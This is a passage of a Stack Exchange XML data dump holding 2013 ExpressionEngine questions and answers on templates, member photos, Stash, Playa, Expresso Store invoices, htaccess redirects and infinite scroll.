uploaded for the member that I'm testing with, and if I remove the &lt;code&gt;{if}&lt;/code&gt; block and just leave in &lt;code&gt;{photo_url}&lt;/code&gt; it prints the literal value &quot;{photo_url}&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2013-06-28T08:25:24.583" Title="How can I display a member's photo in a template?" Tags="|templates|member-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11540" PostTypeId="2" ParentId="11539" CreationDate="2013-06-28T08:25:24.583" Score="2" Body="&lt;p&gt;You might use following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}&#xA; {if photo}&#xA;  &amp;lt;div style=&quot;background:url({photo_url}); width:141px; height:156px&quot; &amp;gt;&amp;lt;/div&amp;gt;&#xA; {if:else}&#xA;  &amp;lt;div style=&quot;background:url('/images/img1.jpg'); width:141px; height:156px&quot; &amp;gt;&amp;lt;/div&amp;gt;&#xA; {/if}&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a reference from the doc &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/#custom-profile-data-tag&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/member/#custom-profile-data-tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-28T08:25:24.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11541" PostTypeId="2" ParentId="11258" CreationDate="2013-06-28T13:33:44.320" Score="0" Body="&lt;p&gt;I'm not 100% what types of 404s you feel you are missing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are worried about entry templates where no entry is specified you can use &lt;a href=&quot;http://ee1docs.com/modules/weblog/parameters.html#par_req_entry&quot; rel=&quot;nofollow&quot;&gt;the &quot;require_entry&quot; parameter&lt;/a&gt; along with the if no_results conditional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;whatever&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;{if no_results}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this get at what you are looking for? If not can you elaborate a little and give some examples?&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2013-06-28T13:33:44.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11542" PostTypeId="2" ParentId="11521" CreationDate="2013-06-28T14:52:27.477" Score="2" Body="&lt;p&gt;In EE 2.6.1, the reset password routine works differently compared to pre-2.6 version. Instead of being sent a password reset link, followed by a generated new password by email, users receive a link by email to visit a page on EE to reset their password themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of this writing, this new password reset method isn't available in User yet, but we're working on getting this added. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-06-28T14:52:27.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11543" PostTypeId="1" AcceptedAnswerId="11591" CreationDate="2013-06-28T15:01:59.343" Score="0" ViewCount="527" Body="&lt;p&gt;I have a site that was converted to EE from a different blog platform, and I'm getting a bunch of crawl errors from previously indexed urls that now lead to a &quot;disallowed key characters&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The urls that are causing the errors follow one of three patterns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/general/404/?404%3Bhttp://old.example.com:80/old-blog/random/segments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/blog/?404%3Bhttp://old.example.com:80/old-blog/random/segments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/blog/Default.aspx?404;http://old.example.com:80/old-blog/random/segments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In these urls, /general/404 is the path to my site's 404 page, and /blog/ is the path to the blog index page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to redirect the urls from the third example using this code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^blog/Default.aspx?/?$ http://www.example.com/general/404/? [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can intercept the other URLS with htaccess before they hit EE and redirect them to my 404 page? I'm not sure how to target them specifically since there is nothing before the ? in the query string url segment.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2013-07-01T20:11:29.823" Title="Redirect URLS with disallowed key characters" Tags="|error|url|htaccess|redirects|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11544" PostTypeId="2" ParentId="11538" CreationDate="2013-06-28T15:14:57.750" Score="2" Body="&lt;p&gt;Assuming your playa tags are within the channel entries tag, try adding var_prefix to separate the playa results from the channel entries results. It might be that the categories tag pair as you have it set up is applying to your channel entries results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents &#xA;    channel=&quot;book&quot; &#xA;    disable=&quot;&quot;&#xA;    var_prefix=&quot;pl&quot;&#xA;} &#xA;    {pl:title}&#xA;    {pl:short_description}&#xA;&#xA;    {pl:categories show_group=&quot;9&quot;}&#xA;        {pl:category_name}&#xA;    {/pl:categories}&#xA;&#xA;    MORE DETAILS &#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-28T15:14:57.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11546" PostTypeId="1" CreationDate="2013-06-28T17:33:05.283" Score="1" ViewCount="296" Body="&lt;p&gt;I would like to add a header with the company information and logo to the top of the pdf invoice that gets generated. I would also like to eith add this as an attachment or link in the confirmation email that gets sent out after an order is complete.&lt;/p&gt;&#xA;" OwnerUserId="1715" LastEditorUserId="150" LastEditDate="2013-06-29T00:28:54.680" LastActivityDate="2013-08-29T00:26:49.227" Title="Expresso Store - Customize the PDF Invoice" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11547" PostTypeId="1" CreationDate="2013-06-28T19:17:03.477" Score="1" ViewCount="91" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;&#xA;    {exp:playa:children var_prefix=&quot;parent&quot;}&#xA;&#xA;        {parent:exp:playa:children var_prefix=&quot;child&quot;}&#xA;&#xA;        {/parent:exp:playa:children}&#xA;        {/parent:exp:playa:children}&#xA;&#xA;    {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For whatever reason, I can get all the data I want inside all these loops &lt;strong&gt;ONLY&lt;/strong&gt; if I have that second closing &lt;code&gt;{/parent:exp:playa:children}&lt;/code&gt;. If I leave only one, which is what one might thing to be correct, it doesn't work properly. Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-06-28T19:17:03.477" Title="Interesting Playa bug requiring two closing tags of nested exp:playa:children tag pair" Tags="|add-on|playa|bug|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11548" PostTypeId="1" CreationDate="2013-06-28T19:25:39.340" Score="0" ViewCount="105" Body="&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine version: 2.5.5&lt;/li&gt;&#xA;&lt;li&gt;Matrix version: 2.5.5&lt;/li&gt;&#xA;&lt;li&gt;P&amp;amp;T Field Pack version: 1.03&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have a channel entry that uses several Matrix fields, and one of them uses P&amp;amp;T Dropdown. If I publish a new entry the value from the P&amp;amp;T Dropdown shows up properly when viewing on the frontend. This works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I then go in to edit the entry, the P&amp;amp;T Dropdown field is now defaulting to whatever the first value is. This has caused the value to unexpectedly change if an author goes in to edit something else in the entry and does not realize that the P&amp;amp;T Dropdown has reset to its default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="361" LastActivityDate="2013-06-28T19:25:39.340" Title="Matrix field losing value when editing entry" Tags="|matrix|field-pack|pt-dropdown|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11549" PostTypeId="2" ParentId="11316" CreationDate="2013-06-29T00:36:22.750" Score="1" Body="&lt;p&gt;In general, &lt;strong&gt;don't try to force EE to use a trailing slash&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the opposite - make the canonical links &lt;strong&gt;without&lt;/strong&gt; a trailing slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seriously, that is the way EE likes it, and you are pushing shit uphill trying to do anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Don't use a 301 htaccess redirect&lt;/strong&gt; - that's ridiculous, because EE generates all URLs without a trailing slash. Then you would be forcing all of your users to make two requests every time they click a link, just so you can have your way. Not a good idea :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best bet is figuring out how to make SEO Lite define a canonical URL without the trailing slash (I've never used it). Or just build the canonical meta tag yourself.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-29T00:36:22.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11550" PostTypeId="2" ParentId="11201" CreationDate="2013-06-29T00:39:43.953" Score="0" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt;, which lets you display inline error messages for your login/registration templates, as well as update the user's profile details etc.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-29T00:39:43.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11551" PostTypeId="2" ParentId="11546" CreationDate="2013-06-29T04:38:48.407" Score="1" Body="&lt;p&gt;I think, Expresso Store module module outputs PDF from a view file &quot;order_details_pdf.php&quot; so you can alter this file to add company information at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The view file path is: &quot;expressionengine/third_party/store/views/order_details_pdf.php&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-06-29T04:53:46.977" LastActivityDate="2013-06-29T04:53:46.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11552" PostTypeId="1" AcceptedAnswerId="11554" CreationDate="2013-06-29T08:22:33.967" Score="0" ViewCount="64" Body="&lt;p&gt;I'm using Safecracker Registration so I can leverage Channels for Member fields. Since EE's Member already have certain fields, should I use those whenever I can instead of defining them as Channel fields? For example, there is a &quot;bio&quot; field in the Member fields. Should I use that or should I define that as a field in my Channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to implement a search feature and am planning to use Low Search. I will end up having to search these fields whether they exist in the native Member fields or in my Channel. Given this search requirement, which route should I take regarding these Member fields? Use EE's native Member fields or put them in my Channel?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-09-27T09:49:13.023" Title="Safecracker Registration, Low Search, and Member Fields" Tags="|members|low-search|safecracker-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11553" PostTypeId="1" AcceptedAnswerId="11815" CreationDate="2013-06-29T08:29:48.303" Score="1" ViewCount="54" Body="&lt;p&gt;Is there a way to access the label, field value, and error of Member fields in a Safecracker form? I'm looking for something like &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#field-my-field-name&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#field-my-field-name&lt;/a&gt;, but for member fields. Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="150" LastEditDate="2013-08-10T20:31:22.803" LastActivityDate="2013-08-10T20:31:22.803" Title="Safecracker Registration: Label, Field, Error for Member fields?" Tags="|safecracker|safecracker-registration|member-details|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11554" PostTypeId="2" ParentId="11552" CreationDate="2013-06-29T08:46:02.183" Score="1" Body="&lt;p&gt;I would suggest you to have all the member fields into channel and manage so that EE's default member module would have only required account details fields like (username, password, email, screen name). It would facilitate you following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Easy to populate member data at front end.&lt;/li&gt;&#xA;&lt;li&gt;In the CP, you can see all the member data within the channel entries.&lt;/li&gt;&#xA;&lt;li&gt;Easy to implement search feature on member's channel entries&lt;/li&gt;&#xA;&lt;li&gt;In the CP, the filtration of members in EE's member module is limited where channel entries filtration is much better.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are some other benefits also which you can see :) .&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-29T08:46:02.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11556" PostTypeId="1" AcceptedAnswerId="11563" CreationDate="2013-06-29T10:05:41.463" Score="2" ViewCount="455" Body="&lt;p&gt;I am running Exp-resso store. When an order is placed the customer gets a confirmation email but the admin doesnt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure i am missing something very simple here but not sure what. Where do you set the email address order confirmations should go to? Is there a way of testing it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have coded my own custom payment gateway dont think this is the problem though as the order registers as payed within the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditDate="2013-06-29T11:45:49.593" LastActivityDate="2013-06-29T19:52:59.573" Title="Order Confirmation Emails" Tags="|expresso-store|email|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11557" PostTypeId="2" ParentId="9975" CreationDate="2013-06-29T11:40:13.227" Score="0" Body="&lt;p&gt;Was trying to avoid having to add another add-on, am already using &lt;a href=&quot;http://devot-ee.com/add-ons/surgeree&quot; rel=&quot;nofollow&quot;&gt;Surgeree&lt;/a&gt; for string stuff so I was able to do this as an alternative:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:surgeree:strip_tags}&#xA;    {exp:channel:categories show=&quot;{segment_2_category_id}&quot;}{category_image}{/exp:channel:categories}&#xA;{/exp:surgeree:strip_tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That leaves you with just the image url, if you use it with Stash you can use the &lt;code&gt;trim&lt;/code&gt; parameter, e.g. wrap the above with &lt;code&gt;{exp:stash:set name=&quot;main_image&quot; parse_tags=&quot;yes&quot;}&lt;/code&gt; and for your image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{exp:stash:get name=&quot;main_image&quot; trim=&quot;yes&quot;}&quot; alt=&quot;{segment_2_category_name}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably makes more sense to use the parse file paths add on. but this will do the trick for me for now. &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-06-29T11:40:13.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11558" PostTypeId="1" AcceptedAnswerId="11594" CreationDate="2013-06-29T11:54:39.543" Score="1" ViewCount="274" Body="&lt;p&gt;I'm trying to collect birthdate information in my Safecracker form. I have a field that is a Date field type. It seems that I am being forced to enter in this format: &lt;code&gt;YYYY-MM-DD HH:MM&lt;/code&gt;. I don't want to force my users to enter hours and minutes. How do I work around this such that I only collect year, month, day? I am not using that date picker feature (I have &lt;code&gt;datepicker=&quot;no&quot;&lt;/code&gt;) and would like to implement something &quot;cleaner&quot; (it seems like &lt;code&gt;include_jquery=&quot;yes&quot;&lt;/code&gt;, &lt;code&gt;safecracker_head=&quot;yes&quot;&lt;/code&gt;, etc. mucks up my markup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later on, I want to implement a search by age (I'll be using Low Search). Am I on the right track by collecting the birthdate?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-02T12:20:29.577" Title="Date fields in Safecracker form" Tags="|safecracker|search|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11559" PostTypeId="1" AcceptedAnswerId="11561" CreationDate="2013-06-29T12:33:12.470" Score="1" ViewCount="102" Body="&lt;p&gt;What do I have to do to get files into the stash_templates-folder so I can use &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Embeds&quot; rel=&quot;nofollow&quot;&gt;{stash:embed:test}&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been iterating through the new stash-docs over and over but I cant figure it out. Apart from that the new documentation is a great aprovement. Thanks for that!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/David&lt;/p&gt;&#xA;" OwnerUserId="481" LastActivityDate="2013-06-29T15:05:10.310" Title="How populate ../stash_templates/" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11560" PostTypeId="1" AcceptedAnswerId="21420" CreationDate="2013-06-29T14:59:28.597" Score="1" ViewCount="158" Body="&lt;p&gt;I have Wygwam 2.7.1 / EE 2.5.5 - When trying to add an image in the CkEditor - the 'Browse Server' button has disappeared on all multi-sites but is present and working in the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the CP inside the main site and switching between sites, but as above, can't browse server or upload through the file manager on any multi-sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File Browser is working fine across sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any similar experiences? Fixes?&lt;/p&gt;&#xA;" OwnerUserId="1168" LastEditorUserId="2231" LastEditDate="2014-04-24T10:57:51.013" LastActivityDate="2014-04-24T10:57:51.013" Title="Wygwam CKeditor images not working in Multi-Site" Tags="|wygwam|multi-site-manager|image|uploads|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11561" PostTypeId="2" ParentId="11559" CreationDate="2013-06-29T15:05:10.310" Score="1" Body="&lt;p&gt;You literally just have to put them there. :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a &lt;code&gt;stash_templates/&lt;/code&gt; directory already created then create your files in here with a regular .html extension. Stash will know where they are by what you tell it in your index:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['stash_file_basepath'] = '/path/to/stash_templates/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you use the &lt;code&gt;{stash:embed:test}&lt;/code&gt; tag it will look in that directory for 'test.html` and pull in whatever is in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to split things up into sub-directories then that's fine too. You can just add the subdirectory into the call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:subdir:test}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-29T15:05:10.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11562" PostTypeId="1" CreationDate="2013-06-29T19:15:12.223" Score="1" ViewCount="52" Body="&lt;p&gt;I have used Assets before and everything worked fine but on a fresh install of EE 2.6.1 and Assets 2.1.3 I have the following problem. I have a static index.html file whilst developing the new site. When I click upload and the assets panel is displayed, it shows the content of the index.html. If I remove the html file then the assets panel loads correctly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why this is occurring. The only things I have done (as always) is to remove the index.php via htaccess and also rename the admin.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brian&lt;/p&gt;&#xA;" OwnerUserId="1718" LastActivityDate="2013-09-28T13:50:21.353" Title="Assets panel not loading when static html file is present in root" Tags="|assets|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11563" PostTypeId="2" ParentId="11556" CreationDate="2013-06-29T19:52:59.573" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Use the store_order_complete_end extension hooks to execute custom code upon successful completion of an order &lt;a href=&quot;https://expresso.com/docs/store/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;https://expresso.com/docs/store/extension_hooks.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you want an easy solution without coding us the BCC field in the the control panel of exp-resso store, that is: Modules &gt; Expresso Store &gt; Settings &gt; Email Templates &gt; Edit Email Template. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Best, Daniel &lt;/p&gt;&#xA;" OwnerUserId="1514" LastActivityDate="2013-06-29T19:52:59.573" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11564" PostTypeId="2" ParentId="11546" CreationDate="2013-06-29T23:17:11.210" Score="1" Body="&lt;p&gt;You're better off just creating your own invoice using the &lt;code&gt;{exp:store:orders}&lt;/code&gt; tag. That way you don't need to edit any core files, and you can use a standard EE template to build it. You can also link to it from any of the emails which are sent out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no way to use Store's PDF generator in template tags, so to create the actual PDF your best bet would be to check out some of the PDF generation plugins on Devot:ee.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-29T23:17:11.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11565" PostTypeId="1" CreationDate="2013-06-30T06:25:37.747" Score="0" ViewCount="368" Body="&lt;p&gt;This is my second question on Infinite Scroll and hopefully it is not another typo causing the problem!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have everything working now, with one exception. New results are appearing below my pagination link. So when I select view more, they load below that, rather than at the bottom of the new entry's listed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want the pagination to remain below all entries shown.  Below is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SNIPPET:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;col&quot; id=&quot;blog-container&quot;&amp;gt;&#xA;        {exp:channel:entries&#xA;            channel=&quot;blog&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            order_by=&quot;date&quot;&#xA;            limit=&quot;2&quot;&#xA;            status=&quot;open|tall|regular&quot; &#xA;            paginate_base=&quot;_embed/ajax_scroll&quot;           &#xA;        }&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;article&amp;gt;&#xA;                &amp;lt;header&amp;gt;&#xA;                    &amp;lt;p class=&quot;meta&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;category&quot;&amp;gt;{categories}{category_name}{/categories}&amp;lt;/span&amp;gt; / &amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%F %d, %Y&quot;}&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{url_title_path='blog/details'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;/header&amp;gt;&#xA;                &amp;lt;img src=&quot;{blog_image}&quot; alt=&quot;&quot;&amp;gt;&#xA;                {blog_excerpt}&amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;lt;a href=&quot;{url_title_path='blog/details'}&quot; style=&quot;display: inline-block;&quot;&amp;gt;read more&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /.entry --&amp;gt;&#xA;&#xA;        {paginate}&#xA;        &amp;lt;p class=&quot;morePosts&quot;&amp;gt;&#xA;            {if next_page}&amp;lt;a href=&quot;{auto_path}&quot; class=&quot;more&quot;&amp;gt;See More Posts&amp;lt;/a&amp;gt;{/if}&#xA;        &amp;lt;/p&amp;gt;&#xA;        {/paginate}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /.col --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TEMPLATE:&lt;/strong&gt;&#xA;&#xA;{embed=&quot;_inc/site_head&quot;}&#xA;    &#xA;        &#xA;            &lt;p&gt;AniA Collection Bridal Blog&lt;/p&gt;&#xA;            {embed=&quot;_embed/blog_search&quot;}&#xA;         &#xA;        {snip_ajax_scroll}&#xA;        &#xA;        &#xA;        &#xA;            $(document).ready(function(){&#xA;                $('#blog-container').infinitescroll({&#xA;                    behavior     : 'twitter',&#xA;                    navSelector : &quot;.morePosts&quot;,&#xA;                    nextSelector : &quot;a.more&quot;,&#xA;                    itemSelector : &quot;.entry&quot;,&#xA;                    contentSelector: &quot;#blog-container&quot;,&#xA;                    loading: {&#xA;                        finishedMsg: &quot;&quot;, //#text you want to appear when you reach the end of the list&#xA;                        msgText: &quot;&quot;, //#text to appear while loading more items&#xA;                        img: &quot;&quot; //#image to display while loading&#xA;                    },&#xA;                    extractLink: true, // This is crucial if you want it work properly. Setting this to false or excluding it will not allow the script to work with EE&#xA;                })&#xA;            });&#xA;            // Unbind normal behavior&#xA;            $(window).unbind('.infscr');&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        // Bind normal behavior to the click function and prevent the browser from redirecting to the URL.&#xA;        $('a.more').click(function(){&#xA;            $(document).trigger('retrieve.infscr');&#xA;            //$(this).hide(&quot;fast&quot;);&#xA;            //$(this).parent(&quot;p.morePosts&quot;).hide(&quot;fast&quot;);&#xA;            return false;&#xA;         });&#xA;    &amp;lt;/script&amp;gt; &#xA;    {embed=&quot;_embed/blog_nav&quot;}&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- /#mainContent --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and let me know if you need anything else!&lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-07-31T15:48:57.077" Title="infinite scroll appearing below pagination" Tags="|jquery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11566" PostTypeId="1" AcceptedAnswerId="11576" CreationDate="2013-06-30T10:12:26.777" Score="0" ViewCount="162" Body="&lt;p&gt;What do I have to do to get files into the /static_cache/-folder so I can use the {exp:stash:cache}-tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11559/how-populate-stash-templates&quot;&gt;yet again&lt;/a&gt; been iterating through the new stash-docs over and over but I cant figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty sure I got the prefs-files right but a little unsure on configuring the htaccess-file. Do I change anything else than the domain and the path of the static_cache-file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/David&lt;/p&gt;&#xA;" OwnerUserId="481" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-07-01T09:17:03.463" Title="how to populate ../static_cache/" Tags="|stash|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11567" PostTypeId="2" ParentId="11449" CreationDate="2013-06-30T11:03:22.900" Score="1" Body="&lt;p&gt;500 per year will be no problem at all. There are EE sites running tens of thousands of members, and I would be surprised if it cannot handle hundreds of thousands (athough at that point you may need to look at measuring and optimizing your SQL indexes, but that would apply regardless of the CMS or framework you chose).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-30T11:03:22.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11568" PostTypeId="2" ParentId="11562" CreationDate="2013-06-30T11:59:36.780" Score="1" Body="&lt;p&gt;Assets sends off it's Ajax request to the Site URL specified in CP settings. The request has to reach EE somehow. If you have left the index.php out of the Site URL, Apache might be directing the request to the index.html file and causing the Ajax request miss it's target.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-06-30T11:59:36.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
